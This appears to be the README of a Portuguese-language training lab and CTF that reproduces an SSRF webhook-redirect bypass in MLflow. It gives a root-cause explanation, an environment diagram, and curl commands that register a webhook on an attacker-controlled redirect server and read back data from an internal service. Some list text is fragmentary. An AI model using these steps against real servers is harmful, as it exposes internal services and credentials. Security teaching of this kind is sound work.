
este laboratório pode estar bem ou mal, pergunta à IA, estou a testar mas deve funcionar hahahah
CVE-2026-64849 · MLflow < 3.15.0 · Server-Side Request Forgery (SSRF)
Laboratório prático que reproduz o CVE-2026-64849: uma vulnerabilidade do
tipo SSRF no MLflow causada por um defeito TOCTOU (Time-of-Check /
Time-of-Use) no tratamento de webhooks. O MLflow valida a URL original do
webhook, mas segue redirects HTTP (302) sem revalidar o destino, o que
permite a um atacante sem autenticação alcançar serviços internos aos quais
não deveria ter acesso (internal-service:8888).
Uso restrito: material de laboratório, apenas para redes e ambientes autorizados. Ver Aviso legal.
| Atributo | Valor |
|---|---|
| Vulnerabilidade | CVE-2026-64849 — SSRF via Webhook Redirect Bypass |
| Componente afetado | MLflow Tracking Server (< 3.15.0) |
| Versão do lab | MLflow 3.13.0 (sem modificações, via pip install) |
| Causa raiz | TOCTOU: valida a URL, segue o 302 sem revalidar |
| Vetor | HTTP; sem autenticação |
| Severidade declarada | CRÍTICA (CVSS 9.3) — conforme banner do exploit do lab |
| Resultado | Acesso a serviços internos, roubo de credenciais, port scanning |
| Duração estimada | 15–20 minutos |
| Nível | Intermediário (Web App Security / Offensive Security) |
O MLflow permite registrar webhooks que disparam requisições HTTP diante de eventos (dados de modelos, experimentos, etc.). Antes de salvar a URL, é aplicada uma validação (esquema, IPs privados, metadata IP). A falha ocorre porque:
3xx, a biblioteca
requests segue o redirect automaticamente e nunca revalida a URL de
destino.O atacante controla o primeiro salto (um servidor que responde 302 para um
serviço interno) e o MLflow atua como proxy para a rede interna.
Ver análise técnica completa em EXPLOITATION_GUIDE.md §6.
Ao finalizar o lab, o estudante será capaz de:
/test e
exfiltração do serviço interno.Público: estudantes e profissionais de segurança ofensiva, pentesters, revisores de segurança de aplicações e desenvolvedores que usam MLflow.
Requisitos de software:
| Ferramenta | Versão mínima |
|---|---|
| Docker + Docker Compose | Docker 20.x / Compose v2 |
curl | — |
jq | 1.6+ |
bash | — |
Não são necessárias credenciais nem autenticação no MLflow (o ataque é unauthenticated). Não é necessário acesso à rede interna: o lab a fornece.
host rede interna do Docker (lab_network)
┌──────────────────────────────┐ ┌────────────────────────────────────────────────┐
│ atacante (curl / bash) │ │ │
│ │ │ │ mlflow-vulnerable attacker_server │
│ ▼ │ │ (5000, MLflow 3.13.0) (8080, responder 302) │
│ http://localhost:5000 │ │ │ webhook URL ▲ │
│ http://localhost:8080 │ │ ▼───────────────────────┘ │
│ http://localhost:8888 ✗ │ │ │ 302 Location: internal-service │
│ │ │ ▼ (SSRF, segue o redirect) │
│ │ │ internal-service (8888) ← SEM portas para │
│ │ │ "/admin/secret" o host │
│ │ └───────────────────────────────────────────────┘
└──────────────────────────────┘
| Componente | Porta | Papel no lab | Modificado? |
|---|---|---|---|
mlflow-vulnerable | 5000 | Vítima / cliente vulnerável (MLflow 3.13.0 stock) | Não |
attacker-server | 8080 | Servidor do atacante: /webhook → 302, /redirect?url=, /metadata, dashboard | Apenas do_HEAD |
internal-service | 8888 | Vítima em lab_network; /admin/secret e /api/internal/config | Não |
Detalhe de integridade: o serviço vulnerável e o serviço interno não foram modificados. Ver EXPLOITATION_GUIDE.md §14.
cd mlflow-ssrf-lab
bash run_lab.sh start # sobe os 3 contêineres e aguarda o MLflow
bash run_lab.sh exploit # explora automaticamente (SSRF → flag do Nível 1)
Demonstração guiada passo a passo (menu interativo):
bash manual_exploitation_interactive.sh
🏁 Modalidade CTF (resolução MANUAL): o lab é um desafio por níveis. Cada
flag deixa a pista do próximo nível, então chegar a cada flag "faz sentido".
E a graça é fazer manualmente: ctf_lab.sh não explora por você, apenas
te guia e valida sua flag:
bash ctf_lab.sh # menu interativo do CTF
bash ctf_lab.sh nivel 1 # instruções + pista do nível (comandos para VOCÊ EXECUTAR MANUALMENTE)
bash ctf_lab.sh flag '<flag>' # validar a flag que você exfiltrou e decodificou (+pts)
bash ctf_lab.sh status # níveis concluídos + pontuação (235 pts, sem mostrar flags)
bash ctf_lab.sh hint 2 # pista de um nível
bash ctf_lab.sh reset # apagar progresso
Referências do script run_lab.sh:
bash run_lab.sh start # start (padrão) + status endpoint
bash run_lab.sh exploit # executa exploit.py dentro do contêiner mlflow
bash run_lab.sh manual # mostra os comandos curl passo a passo
bash run_lab.sh logs # acompanha os logs em tempo real
bash run_lab.sh stop # para os contêineres
bash run_lab.sh clean # para e remove dados do lab
Todas as chamadas a
/testexigem o headerContent-Type: application/json; sem ele, o MLflow 3.13 responde400 Bad Request.
# 1. Criar o webhook apontando para o servidor do atacante (redireciona para a raiz do portal interno, Nível 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
-H "Content-Type: application/json" \
-d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
| jq -r '.webhook.webhook_id')
# 2. Disparar /test → MLflow valida a URL, segue o 302 até o serviço interno
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}'
# 3. Extrair os dados exfiltrados (aninhados em result.response_body)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}' \
| jq -r '.result.response_body | fromjson'
Resultado esperado do passo 3 (Nível 1 do CTF):